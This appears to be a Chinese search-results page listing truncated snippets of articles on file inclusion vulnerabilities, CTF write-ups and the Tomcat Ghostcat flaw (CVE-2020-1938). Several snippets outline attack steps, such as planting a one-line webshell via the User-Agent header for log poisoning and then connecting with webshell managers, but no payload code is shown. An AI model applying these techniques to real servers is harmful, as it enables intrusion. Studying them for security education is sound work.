  • 获得webshell 日志文件:/var/log/nginx/access.log 使用burpsuite抓包,在User-Agent头添加一句话木马: 使用菜刀,或者蚁剑进行连接: web 82-86 利用session.upload_progress进行文件包含 POC: #poc.php <!...
  • 文件包含漏洞

    2018-10-12 19:50:09
    一、什么才是”远程文件包含漏洞”? 回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。 涉及...
  • 文件包含漏洞 基础

    2021-03-21 18:18:40
    CTF中文件包含漏洞总结 0x01 什么是文件包含漏洞 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。 0x02 文件包含漏洞的环境...
  • 漏洞影响:上传包含任意代码的文件,并被服务器执行。 • 影响平台:Windows • 影响版本:Apache Tomcat 7.0.0 - 7.0.81 新的改变 我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器...
  • 文件包含漏洞相关知识总结 1. 文件包含漏洞概念 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入 2. 文件包含漏洞的环境要求 allow_...
  • Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,...
  • PHP文件包含漏洞

    2019-05-23 16:00:54
    一、什么才是”远程文件包含漏洞”? 回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。 涉及...
  • Tomcat 本地文件包含漏洞 (CVE-2020-1938)

    千次阅读 2020-05-20 16:43:34
    漏洞简介 Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的 影响组件 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0....
  • 做的那题毒药是文件包含漏洞的题,涉及到了某个工具 看的不错就开发了一个。 0x01代码: import requests import threading import os import time import sys cookies={} urls=...
  • 启动vulhub环境 cd /vulhub-master/tomcat/CVE-2020-1938/ docker-compose up -d vulhub安装、环境配置 ...Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录...
  • 目录漏洞描述影响版本漏洞环境搭建漏洞分析漏洞利用漏洞加固 漏洞描述    影响版本 漏洞环境搭建 漏洞分析 漏洞利用 漏洞加固
  • 由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件(webapps目录)。 影响范围 Apache T...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,139
精华内容 1,255
关键字:

文件包含漏洞poc